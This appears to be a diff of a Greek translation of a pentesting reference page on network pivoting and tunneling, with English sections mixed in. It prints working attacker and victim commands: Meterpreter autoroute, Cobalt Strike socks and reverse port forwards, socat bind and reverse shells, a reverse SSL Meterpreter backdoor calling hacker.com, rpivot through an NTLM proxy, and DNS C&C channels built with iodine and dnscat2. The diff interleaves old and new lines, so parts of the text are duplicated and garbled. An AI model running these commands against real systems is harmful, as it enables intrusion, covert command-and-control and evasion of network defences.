route add <IP_victim> <Netmask> <Session> # (ex: route add 10.10.10.14 255.255.255.0 8)
@ -141,7 +138,19 @@ use auxiliary/server/socks_proxy
run #Proxy port 1080 by default
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
```
Ένας άλλος τρόπος:
### Tunneling and Port Forwarding
#### Tunneling
Tunneling is a method that allows data to be transferred securely over a public network. It works by encapsulating the data in another protocol, creating a secure "tunnel" through which the data can travel. This is commonly used to bypass firewalls and access restricted networks.
There are several tools available for creating tunnels, such as SSH, VPNs, and proxy servers. These tools can be used to establish secure connections between a client and a server, allowing data to be transmitted safely.
#### Port Forwarding
Port forwarding is a technique used to redirect computer signals (ports) between local and remote machines. It can be used to bypass firewalls, access remote services, and establish secure connections between machines.
Port forwarding works by mapping a port on the local machine to a port on the remote machine, allowing traffic to be redirected between the two. This can be useful for accessing services on a remote machine that are not directly accessible from the internet.
```bash
background #meterpreter session
use post/multi/manage/autoroute
@ -156,9 +165,9 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
```
## Cobalt Strike
### Προξενητής SOCKS
### SOCKS proxy
Ανοίξτε ένα θύρα στον teamserver που ακούει σε όλα τα διεπαφές που μπορούν να χρησιμοποιηθούν για να **κατευθύνετε την κίνηση μέσω του beacon**.
Ανοίξτε ένα θύρα στο teamserver που ακούει σε όλα τα δίκτυα που μπορούν να χρησιμοποιηθούν για **δρομολόγηση της κίνησης μέσω του beacon**.
```bash
beacon> socks 1080
[+] started SOCKS4a server on: 1080
@ -169,22 +178,16 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
### rPort2Port
{% hint style="warning" %}
Σε αυτήν την περίπτωση, η **θύρα ανοίγει στον beacon host**, όχι στον Team Server και η κίνηση αποστέλλεται στον Team Server και από εκεί στον καθορισμένο host:port.
Σε αυτήν την περίπτωση, η **θύρα ανοίγεται στον φιλοξενούμενο κόμβο**, όχι στον Διακομιστή Ομάδας και η κίνηση στέλνεται στον Διακομιστή Ομάδας και από εκεί στον καθορισμένο κόμβο:θύρα
{% endhint %}
```bash
rportfwd [bind port] [forward host] [forward port]
rportfwd stop [bind port]
```
Να σημειωθεί:
- Η αντίστροφη προώθηση θύρας του Beacon είναι σχεδιασμένη για να **δρομολογεί την κίνηση προς τον Team Server, όχι για αναμετάδοση μεταξύ ατομικών μηχανών**.
- Η κίνηση **δρομολογείται εντός της κίνησης C2 του Beacon**, συμπεριλαμβανομένων των συνδέσεων P2P.
- Δεν απαιτούνται **δικαιώματα διαχειριστή** για τη δημιουργία αντίστροφων προώθησης θυρών σε υψηλές θύρες.
### Τοπική αντίστροφη προώθηση θύρας (rPort2Port)
### rPort2Port τοπικό
{% hint style="warning" %}
Σε αυτήν την περίπτωση, η **θύρα ανοίγει στον υπολογιστή του Beacon**, όχι στον Team Server και η **κίνηση αποστέλλεται στον πελάτη Cobalt Strike** (όχι στον Team Server) και από εκεί προωθείται στον καθορισμένο υπολογιστή:θύρα
Σε αυτήν την περίπτωση, η **θύρα ανοίγεται στον υπολογιστή του beacon**, όχι στον Team Server και η **κίνηση στέλνεται στον πελάτη του Cobalt Strike** (όχι στον Team Server) και από εκεί στον καθορισμένο κεντρικό υπολογιστή:θύρα
{% endhint %}
```
rportfwd_local [bind port] [forward host] [forward port]
@ -194,7 +197,7 @@ rportfwd_local stop [bind port]
[https://github.com/sensepost/reGeorg](https://github.com/sensepost/reGeorg)
Χρειάζεστε να ανεβάσετε έναν τούνελ αρχείου ιστού: ashx|aspx|js|jsp|php|php|jsp
Χρειάζεστε να μεταφορτώσετε ένα αρχείο τούνελ ιστού: ashx|aspx|js|jsp|php|php|jsp
```bash
python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp
```
@ -212,19 +215,7 @@ python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/t
./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed)
./chisel client -v 10.10.10.10:8080 socks #Attacker
```
### Προώθηση θυρών (Port forwarding)
Η προώθηση θυρών είναι μια τεχνική που χρησιμοποιείται για να ανακατευθύνει την κίνηση δεδομένων από μια θύρα ενός δικτυακού κόμβου σε μια άλλη. Αυτό μπορεί να γίνει είτε σε τοπικό δίκτυο είτε μέσω διαδικτύου. Η προώθηση θυρών επιτρέπει στους χρήστες να αποκτήσουν πρόσβαση σε υπηρεσίες που είναι πίσω από έναν δρομολογητή ή ένα τείχος προστασίας.
Υπάρχουν δύο είδη προώθησης θυρών: η τοπική προώθηση θυρών και η απομακρυσμένη προώθηση θυρών.
#### Τοπική προώθηση θυρών
Η τοπική προώθηση θυρών επιτρέπει σε έναν χρήστη να προωθήσει την κίνηση δεδομένων από μια θύρα του τοπικού υπολογιστή του σε μια άλλη θύρα στον ίδιο υπολογιστή ή σε έναν άλλο υπολογιστή στο τοπικό δίκτυο. Αυτό μπορεί να χρησιμοποιηθεί για να αποκτήσει πρόσβαση σε υπηρεσίες που εκτελούνται σε έναν υπολογιστή που δεν είναι προσβάσιμος από το διαδίκτυο.
#### Απομακρυσμένη προώθηση θυρών
Η απομακρυσμένη προώθηση θυρών επιτρέπει σε έναν χρήστη να προωθήσει την κίνηση δεδομένων από μια θύρα του τοπικού υπολογιστή του σε μια άλλη θύρα σε έναν απομακρυσμένο υπολογιστή μέσω ενός διακομιστή προώθησης θυρών. Αυτό μπορεί να χρησιμοποιηθεί για να αποκτήσει πρόσβαση σε υπηρεσίες που εκτελούνται σε έναν απομακρυσμένο υπολογιστή που δεν είναι προσβάσιμος απευθείας από τον χρήστη.
### Προώθηση θυρών
```bash
./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker
./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim
@ -233,8 +224,8 @@ python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/t
[https://github.com/klsecservices/rpivot](https://github.com/klsecservices/rpivot)
Αντίστροφος σωλήνας. Ο σωλήνας ξεκινά από το θύμα.\
Δημιουργείται ένας διακομιστής proxy socks4 στη διεύθυνση 127.0.0.1:1080
Αντίστροφος τούνελ. Το τούνελ ξεκινά από το θύμα.\
Δημιουργείται ένας proxy socks4 στη διεύθυνση 127.0.0.1:1080
```bash
attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
```
@ -242,7 +233,7 @@ attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127
```bash
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999
```
Περιστροφή μέσω **NTLM proxy**
Κατευθυνθείτε μέσω **NTLM proxy**
```bash
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
```
@ -254,74 +245,25 @@ victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntl
[https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries)
### Συνδεδεμένη κέλυφος (Bind shell)
### Bind shell
```bash
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
attacker> socat FILE:`tty`,raw,echo=0 TCP4:<victim_ip>:1337
```
### Αντίστροφη κέλυφος
Η αντίστροφη κέλυφος είναι μια τεχνική που χρησιμοποιείται στο χάκινγκ για να αποκτήσετε απομακρυσμένη πρόσβαση σε έναν υπολογιστή. Με αυτήν την τεχνική, ο χάκερ δημιουργεί μια σύνδεση από τον στόχο υπολογιστή προς τον επιτιθέμενο υπολογιστή, επιτρέποντάς του να εκτελέσει εντολές στον στόχο υπολογιστή από απόσταση.
Για να επιτευχθεί αυτό, ο χάκερ χρησιμοποιεί ένα πρόγραμμα κέλυφους που εκτελείται στον επιτιθέμενο υπολογιστή και ακούει για συνδέσεις από τον στόχο υπολογιστή. Όταν ο στόχος υπολογιστής συνδεθεί, ο χάκερ αποκτά πρόσβαση στο κέλυφος του στόχου υπολογιστή και μπορεί να εκτελέσει εντολές όπως να ανοίξει αρχεία, να εκτελέσει προγράμματα ή να ανακτήσει ευαίσθητες πληροφορίες.
Η αντίστροφη κέλυφος είναι μια ισχυρή τεχνική που χρησιμοποιείται συχνά από χάκερς για να εκμεταλλευτούν ευπάθειες σε συστήματα και να αποκτήσουν απομακρυσμένη πρόσβαση σε αυτά. Είναι σημαντικό να ληφθούν μέτρα ασφαλείας για να προστατευθούν οι υπολογιστές από αυτήν την επίθεση.
```bash
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
```
### Θύρα προς Θύρα
Η τεχνική της θύρας προς θύρας (Port2Port) επιτρέπει τη δημιουργία ενός τοπικού τούνελ μεταξύ δύο συσκευών, επιτρέποντας την ανακατεύθυνση της κίνησης δεδομένων από μία θύρα σε μία άλλη. Αυτό μπορεί να χρησιμοποιηθεί για να προωθήσετε την κίνηση δεδομένων από μία απομακρυσμένη συσκευή σε μία τοπική συσκευή ή αντίστροφα.
Για να δημιουργήσετε ένα τοπικό τούνελ με την τεχνική της θύρας προς θύρας, μπορείτε να χρησιμοποιήσετε εργαλεία όπως το `ssh` ή το `netcat`. Με αυτά τα εργαλεία, μπορείτε να καθορίσετε την πηγή και τον προορισμό της κίνησης δεδομένων και να προωθήσετε την κίνηση μέσω του τοπικού τούνελ.
Η τεχνική της θύρας προς θύρας είναι χρήσιμη για πολλούς σκοπούς, όπως για την απομακρυσμένη πρόσβαση σε μία συσκευή που βρίσκεται πίσω από ένα τείχος προστασίας ή για την ανακατεύθυνση της κίνησης δεδομένων σε έναν ενδιάμεσο διακομιστή για ασφαλή πρόσβαση.
Είναι σημαντικό να έχετε υπόψη ότι η τεχνική της θύρας προς θύρας μπορεί να χρησιμοποιηθεί και για κακόβουλους σκοπούς, όπως για την εκμετάλλευση ευπάθειών σε συστήματα ή για την παράκαμψη των ασφαλειών. Επομένως, πρέπει να χρησιμοποιείται με προσοχή και μόνο για νόμιμους σκοπούς.
```bash
socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>:<rport> &
```
### Πόρτα προς πόρτα μέσω του socks
Η τεχνική της πόρτας προς πόρτα επιτρέπει τη δρομολόγηση της κίνησης δεδομένων από μια πόρτα σε μια άλλη μέσω του πρωτοκόλλου socks. Αυτό μπορεί να χρησιμοποιηθεί για να προωθήσετε την κίνηση δεδομένων από έναν τοπικό υπολογιστή σε έναν απομακρυσμένο διακομιστή μέσω ενός ενδιάμεσου διακομιστή socks.
Για να δημιουργήσετε μια σύνδεση πόρτας προς πόρτα μέσω του socks, ακολουθήστε τα παρακάτω βήματα:
1. Εγκαταστήστε έναν socks proxy server στον απομακρυσμένο διακομιστή.
2. Ρυθμίστε τον τοπικό υπολογιστή σας ώστε να χρησιμοποιεί τον socks proxy server για την εξερεύνηση του διαδικτύου.
3. Χρησιμοποιήστε ένα εργαλείο όπως το `socat` για να δημιουργήσετε μια σύνδεση πόρτας προς πόρτα από τον τοπικό υπολογιστή σας στον απομακρυσμένο διακομιστή μέσω του socks proxy server.
Με αυτόν τον τρόπο, η κίνηση δεδομένων που προωθείται από τον τοπικό υπολογιστή σας θα δρομολογείται μέσω του socks proxy server και θα φτάνει στον απομακρυσμένο διακομιστή μέσω της επιθυμητής πόρτας.
### Θύρα προς Θύρα μέσω socks
```bash
socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
```
### Meterpreter μέσω SSL Socat
Η μέθοδος αυτή χρησιμοποιεί το εργαλείο Socat για να δημιουργήσει έναν ασφαλή τούνελ μεταξύ του επιτιθέμενου συστήματος και του απομακρυσμένου συστήματος που εκτελεί το Meterpreter. Αυτό επιτυγχάνεται με τη χρήση του πρωτοκόλλου SSL για την κρυπτογράφηση της επικοινωνίας.
Για να χρησιμοποιήσετε αυτήν τη μέθοδο, πρέπει να έχετε εγκατεστημένο το Socat στο επιτιθέμενο σύστημα και να έχετε πρόσβαση σε ένα πιστοποιητικό SSL. Ακολουθήστε τα παρακάτω βήματα:
1. Δημιουργήστε ένα αυτο-υπογεγραμμένο πιστοποιητικό SSL ή αποκτήστε ένα από έγκυρο πάροχο πιστοποιητικών.
2. Εκκινήστε έναν ακροατή Socat στο επιτιθέμενο σύστημα, χρησιμοποιώντας το πιστοποιητικό SSL:
```
socat OPENSSL-LISTEN:443,cert=<path_to_certificate>,verify=0,fork EXEC:"<command_to_execute>"
```
Αντικαταστήστε το `<path_to_certificate>` με το διαδρομή του πιστοποιητικού SSL και το `<command_to_execute>` με την εντολή που θέλετε να εκτελεστεί στο απομακρυσμένο σύστημα.
3. Στο απομακρυσμένο σύστημα, εκτελέστε την εντολή Meterpreter για να συνδεθείτε στον ακροατή Socat:
```
meterpreter > portfwd add -l 443 -p <local_port> -r <remote_ip>
```
Αντικαταστήστε το `<local_port>` με τη θύρα που θέλετε να χρησιμοποιήσετε στον τοπικό υπολογιστή και το `<remote_ip>` με τη διεύθυνση IP του επιτιθέμενου συστήματος.
4. Τώρα μπορείτε να χρησιμοποιήσετε το Meterpreter μέσω του ασφαλούς τούνελ που δημιουργήθηκε με το Socat.
Αυτή η μέθοδος επιτρέπει την ασφαλή επικοινωνία μεταξύ του επιτιθέμενου συστήματος και του απομακρυσμένου συστήματος που εκτελεί το Meterpreter, παρέχοντας προστασία από πιθανές διαρροές πληροφοριών.
```bash
#Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333
@ -331,13 +273,13 @@ attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,f
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
#Execute the meterpreter
```
Μπορείτε να παρακάμψετε ένα **μη εξουσιοδοτημένο διακομιστή μεσολάβησης** εκτελώντας αυτήν τη γραμμή αντί για την τελευταία στην κονσόλα του θύματος:
Μπορείτε να παρακάμψετε ένα **μη εξουσιοδοτημένο διακομιστή proxy** εκτελώντας αυτήν τη γραμμή αντί για την τελευταία στην κονσόλα του θύματος:
```bash
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
```
[https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/)
### Τούνελ SSL Socat
### Σήραγγα SSL Socat
**/bin/sh κονσόλα**
@ -355,9 +297,9 @@ chmod 600 $FILENAME.key $FILENAME.pem
attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh
victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt
```
### Απομακρυσμένη Πόρτα προς Πόρτα
### Απομακρυσμένη Μετάδοση Θύρας προς Θύρα
Συνδέστε την τοπική πόρτα SSH (22) με την πόρτα 443 του υπολογιστή του επιτιθέμενου.
Συνδέστε την τοπική θύρα SSH (22) με τη θύρα 443 του υπολογιστή του εισβολέα
```bash
attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
@ -365,18 +307,18 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o
```
## Plink.exe
Είναι σαν μια έκδοση του PuTTY για κονσόλα (οι επιλογές είναι πολύ παρόμοιες με έναν πελάτη ssh).
Είναι σαν μια έκδοση κονσόλας του PuTTY (οι επιλογές είναι πολύ παρόμοιες με έναν πελάτη ssh).
Καθώς αυτό το δυαδικό αρχείο θα εκτελεστεί στο θύμα και είναι ένας πελάτης ssh, πρέπει να ανοίξουμε την υπηρεσία και τη θύρα ssh μας, ώστε να μπορέσουμε να έχουμε μια αντίστροφη σύνδεση. Στη συνέχεια, για να προωθήσουμε μόνο την τοπικά προσβάσιμη θύρα σε μια θύρα στον υπολογιστή μας:
Καθώς αυτό το δυαδικό αρχείο θα εκτελεστεί στο θύμα και είναι ένας πελάτης ssh, πρέπει να ανοίξουμε την υπηρεσία ssh και τη θύρα μας ώστε να έχουμε μια αντίστροφη σύνδεση. Στη συνέχεια, για να προωθήσουμε μόνο την τοπικά προσβάσιμη θύρα σε μια θύρα στον υπολογιστή μας:
```bash
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
```
## Windows netsh
### Πόρτα προς πόρτα
### Θύρα προς Θύρα
Χρειάζεστε να είστε τοπικός διαχειριστής (για οποιαδήποτε πόρτα)
Χρειάζεστε να είστε τοπικός διαχειριστής (για οποιαδήποτε θύρα)
```bash
netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp
# Example:
@ -391,21 +333,21 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
Χρειάζεστε **πρόσβαση RDP στο σύστημα**.\
Λήψη:
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Αυτό το εργαλείο χρησιμοποιεί τα `Dynamic Virtual Channels` (`DVC`) από το χαρακτηριστικό Remote Desktop Service των Windows. Το DVC είναι υπεύθυνο για την **διάτρηση πακέτων μέσω της σύνδεσης RDP**.
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Αυτό το εργαλείο χρησιμοποιεί `Δυναμικά Εικονικά Κανάλια` (`DVC`) από το χαρακτηριστικό Υπηρεσίας Απομακρυσμένης Επιφάνειας Εργασίας των Windows. Το DVC είναι υπεύθυνο για το **σήραγγαγή πακέτων μέσω της σύνδεσης RDP**.
2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab)
Στον υπολογιστή του πελάτη φορτώστε το **`SocksOverRDP-Plugin.dll`** ως εξής:
Στον υπολογιστή του πελάτη φορτώστε το **`SocksOverRDP-Plugin.dll`** όπως παρακάτω:
```bash
# Load SocksOverRDP.dll using regsvr32.exe
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
```
Τώρα μπορούμε να **συνδεθούμε** στον **θύμα** μέσω **RDP** χρησιμοποιώντας το **`mstsc.exe`**, και θα πρέπει να λάβουμε ένα **παράθυρο ειδοποίησης** που λέει ότι το πρόσθετο **SocksOverRDP είναι ενεργοποιημένο**, και θα **ακούει** στη διεύθυνση **127.0.0.1:1080**.
Τώρα μπορούμε **να συνδεθούμε** στον **θύμα** μέσω **RDP** χρησιμοποιώντας το **`mstsc.exe`**, και θα πρέπει να λάβουμε μια **προτροπή** που λέει ότι το πρόσθετο **SocksOverRDP είναι ενεργοποιημένο**, και θα **ακούει** στη διεύθυνση **127.0.0.1:1080**.
**Συνδεθείτε** μέσω **RDP** και ανεβάστε και εκτελέστε στη μηχανή του θύματος το δυαδικό αρχείο `SocksOverRDP-Server.exe`:
**Συνδεθείτε** μέσω **RDP** και μεταφορτώστε & εκτελέστε στο μηχάνημα του θύματος το δυαδικό `SocksOverRDP-Server.exe`:
```
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
```
Τώρα, επιβεβαιώστε στον υπολογιστή σας (επιτιθέμενος) ότι ο θύρα 1080 ακούει:
Τώρα, επιβεβαιώστε στον υπολογιστή σας (επιτιθέμενος) ότι η θύρα 1080 ακούει:
```
netstat -antb | findstr 1080
```
@ -413,14 +355,14 @@ netstat -antb | findstr 1080
## Προώθηση εφαρμογών Windows GUI με το Proxifier
Μπορείτε να κάνετε τις εφαρμογές Windows GUI να περιηγούνται μέσω ενός διακομιστή proxy χρησιμοποιώντας το [**Proxifier**](https://www.proxifier.com/).\
Στην καρτέλα **Profile -> Proxy Servers** προσθέστε την IP και τη θύρα του διακομιστή SOCKS.\
Στην καρτέλα **Profile -> Proxification Rules** προσθέστε το όνομα του προγράμματος που θέλετε να προωθήσετε και τις συνδέσεις προς τις IP που θέλετε να προωθήσετε.
Μπορείτε να κάνετε τις εφαρμογές Windows GUI να πλοηγούνται μέσω ενός διακομιστή proxy χρησιμοποιώντας το [**Proxifier**](https://www.proxifier.com/).\
Στο **Profile -> Proxy Servers** προσθέστε την IP και τη θύρα του διακομιστή SOCKS.\
Στο **Profile -> Proxification Rules** προσθέστε το όνομα του προγράμματος που θέλετε να προωθήσετε και τις συνδέσεις στις IP που θέλετε να προωθήσετε.
## Παράκαμψη NTLM proxy
Το προηγουμένως αναφερθέν εργαλείο: **Rpivot**\
Το **OpenVPN** μπορεί επίσης να το παρακάμψει, ρυθμίζοντας αυτές τις επιλογές στο αρχείο διαμόρφωσης:
**OpenVPN** μπορεί επίσης να το παρακάμψει, ρυθμίζοντας αυτές τις επιλογές στο αρχείο ρυθμίσεων:
```bash
http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
```
@ -428,8 +370,8 @@ http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
Αυτό επαληθεύεται έναντι ενός διαμεσολαβητή και δένει έναν τοπικό θύρα που ανακατευθύνεται στην εξωτερική υπηρεσία που καθορίζετε. Στη συνέχεια, μπορείτε να χρησιμοποιήσετε το εργαλείο της επιλογής σας μέσω αυτής της θύρας.\
Για παράδειγμα, ανακατεύθυνση της θύρας 443
Αυτοπιστοποιείται ενάντια σε έναν διαμεσολαβητή και δένει έναν τοπικό θύρα που προωθείται προς την εξωτερική υπηρεσία που καθορίζετε. Έπειτα, μπορείτε να χρησιμοποιήσετε το εργαλείο της επιλογής σας μέσω αυτής της θύρας.\
Για παράδειγμα, αυτό προωθεί τη θύρα 443
```
Username Alice
Password P@ssw0rd
@ -437,12 +379,12 @@ Domain CONTOSO.COM
Proxy 10.0.0.10:8080
Tunnel 2222:<attackers_machine>:443
```
Τώρα, αν ορίσετε για παράδειγμα στο θύμα την υπηρεσία **SSH** να ακούει στη θύρα 443. Μπορείτε να συνδεθείτε σε αυτή μέσω της θύρας 2222 του επιτιθέμενου.\
Τώρα, αν ρυθμίσετε για παράδειγμα στο θύμα την υπηρεσία **SSH** να ακούει στη θύρα 443. Μπορείτε να συνδεθείτε σε αυτή μέσω της θύρας 2222 του επιτιθέμενου.\
Μπορείτε επίσης να χρησιμοποιήσετε ένα **meterpreter** που συνδέεται στο localhost:443 και ο επιτιθέμενος ακούει στη θύρα 2222.
## YARP
Ένας αντίστροφος διαμεσολαβητής που δημιουργήθηκε από τη Microsoft. Μπορείτε να το βρείτε εδώ: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy)
Ένας αντίστροφος διακομιστής που δημιουργήθηκε από τη Microsoft. Μπορείτε να το βρείτε εδώ: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy)
## DNS Tunneling
@ -450,13 +392,13 @@ Tunnel 2222:<attackers_machine>:443
[https://code.kryo.se/iodine/](https://code.kryo.se/iodine/)
Χρειάζεται δικαιώματα διαχειριστή σε και τα δύο συστήματα για να δημιουργηθούν προσαρμογείς tun και να μεταφερθούν δεδομένα μεταξύ τους χρησιμοποιώντας ερωτήματα DNS.
Απαιτείται δικαιώματα ρίζας σε και τα δύο συστήματα για τη δημιουργία προσαρμογέων tun και τη διέλευση δεδομένων μεταξύ τους χρησιμοποιώντας ερωτήματα DNS.
```
attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
#You can see the victim at 1.1.1.2
```
Ο τούνελ θα είναι πολύ αργός. Μπορείτε να δημιουργήσετε μια συμπιεσμένη σύνδεση SSH μέσω αυτού του τούνελ χρησιμοποιώντας:
Ο τούνελ θα είναι πολύ αργό. Μπορείτε να δημιουργήσετε μια συμπιεσμένη σύνδεση SSH μέσω αυτού του τούνελ χρησιμοποιώντας:
```
ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
```
@ -464,7 +406,7 @@ ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
[**Κατεβάστε το από εδώ**](https://github.com/iagox86/dnscat2)**.**
Δημιουργεί ένα κανάλι C\&C μέσω του DNS. Δεν απαιτεί δικαιώματα root.
Καθιερώνει ένα κανάλι C\&C μέσω DNS. Δεν απαιτεί δικαιώματα ρίζας.
```bash
attacker> ruby ./dnscat2.rb tunneldomain.com
victim> ./dnscat2 tunneldomain.com
@ -481,46 +423,26 @@ Import-Module .\dnscat2.ps1
Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd
```
#### **Προώθηση θύρας με το dnscat**
Port forwarding is a technique used to redirect network traffic from one port to another. It can be useful in various scenarios, such as accessing a service running on a remote machine through a firewall or NAT device. One tool that can be used for port forwarding is dnscat.
Η προώθηση θύρας είναι μια τεχνική που χρησιμοποιείται για την ανακατεύθυνση της δικτυακής κίνησης από μια θύρα σε μια άλλη. Μπορεί να είναι χρήσιμη σε διάφορα σενάρια, όπως η πρόσβαση σε ένα υπηρεσία που εκτελείται σε ένα απομακρυσμένο μηχάνημα μέσω ενός τείχους προστασίας ή συσκευής NAT. Ένα εργαλείο που μπορεί να χρησιμοποιηθεί για την προώθηση θύρας είναι το dnscat.
Dnscat is a command-line tool that uses DNS queries and responses to establish a covert communication channel between two machines. It can be used to bypass firewalls and NAT devices by encapsulating the desired traffic within DNS packets.
Το dnscat είναι ένα εργαλείο γραμμής εντολών που χρησιμοποιεί ερωτήματα και απαντήσεις DNS για να δημιουργήσει ένα κρυφό κανάλι επικοινωνίας μεταξύ δύο μηχανημάτων. Μπορεί να χρησιμοποιηθεί για την παράκαμψη των τειχών προστασίας και των συσκευών NAT, ενθυλακώνοντας την επιθυμητή κίνηση μέσα σε πακέτα DNS.
To use dnscat for port forwarding, you need to have a DNS server that supports wildcard subdomains. You can set up a DNS server locally or use a public DNS server that allows wildcard subdomains.
Για να χρησιμοποιήσετε το dnscat για την προώθηση θύρας, πρέπει να έχετε έναν DNS διακομιστή που υποστηρίζει αγριοχώρους υποτομέων. Μπορείτε να δημιουργήσετε έναν τοπικό DNS διακομιστή ή να χρησιμοποιήσετε έναν δημόσιο DNS διακομιστή που επιτρέπει αγριοχώρους υποτομέων.
Once you have set up the DNS server, you can use dnscat to establish a port forwarding tunnel. This involves running dnscat on both the client and server machines, specifying the DNS server and the desired ports to forward.
Αφού έχετε ρυθμίσει τον DNS διακομιστή, μπορείτε να χρησιμοποιήσετε το dnscat για να δημιουργήσετε έναν σωλήνα προώθησης θύρας. Αυτό περιλαμβάνει την εκτέλεση του dnscat τόσο στον πελάτη όσο και στον διακομιστή, καθορίζοντας τον DNS διακομιστή και τις επιθυμητές θύρες προώθησης.
Once the tunnel is established, you can access the service running on the remote machine by connecting to the forwarded port on the client machine.
Αφού ο σωλήνας έχει δημιουργηθεί, μπορείτε να αποκτήσετε πρόσβαση στην υπηρεσία που εκτελείται στο απομακρυσμένο μηχάνημα συνδέοντας στην προωθημένη θύρα στον πελάτη.
```bash
session -i <sessions_id>
listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host
```
#### Αλλαγή DNS στο proxychains
#### Αλλαγή DNS του proxychains
Το proxychains παρεμβαίνει στην κλήση `gethostbyname` της βιβλιοθήκης libc και δρομολογεί το αίτημα DNS tcp μέσω του socks proxy. Από προεπιλογή, ο DNS διακομιστής που χρησιμοποιεί το proxychains είναι το **4.2.2.2** (προκαθορισμένο). Για να το αλλάξετε, επεξεργαστείτε το αρχείο: _/usr/lib/proxychains3/proxyresolv_ και αλλάξτε τη διεύθυνση IP. Εάν βρίσκεστε σε ένα περιβάλλον **Windows**, μπορείτε να ορίσετε την IP του **domain controller**.
Το Proxychains παρεμβαίνει στην κλήση `gethostbyname` της βιβλιοθήκης libc και δρομολογεί το αίτημα DNS tcp μέσω του socks proxy. Από προεπιλογή, ο **DNS** server που χρησιμοποιεί το proxychains είναι το **4.2.2.2** (προκαθορισμένο). Για να το αλλάξετε, επεξεργαστείτε το αρχείο: _/usr/lib/proxychains3/proxyresolv_ και αλλάξτε τη διεύθυνση IP. Αν βρίσκεστε σε ένα περιβάλλον **Windows**, μπορείτε να ορίσετε την IP του **domain controller**.
## Σήραγγες στην Go
## Tunnels σε Go
[https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel)
## ICMP Σήραγγες
## ICMP Tunneling
### Hans
[https://github.com/friedrich/hans](https://github.com/friedrich/hans)\
[https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel)
Και στα δύο συστήματα απαιτείται δικαιώματα διαχειριστή για τη δημιουργία προσαρμογέα tun και τη δρομολόγηση δεδομένων μεταξύ τους χρησιμοποιώντας αιτήματα ICMP echo.
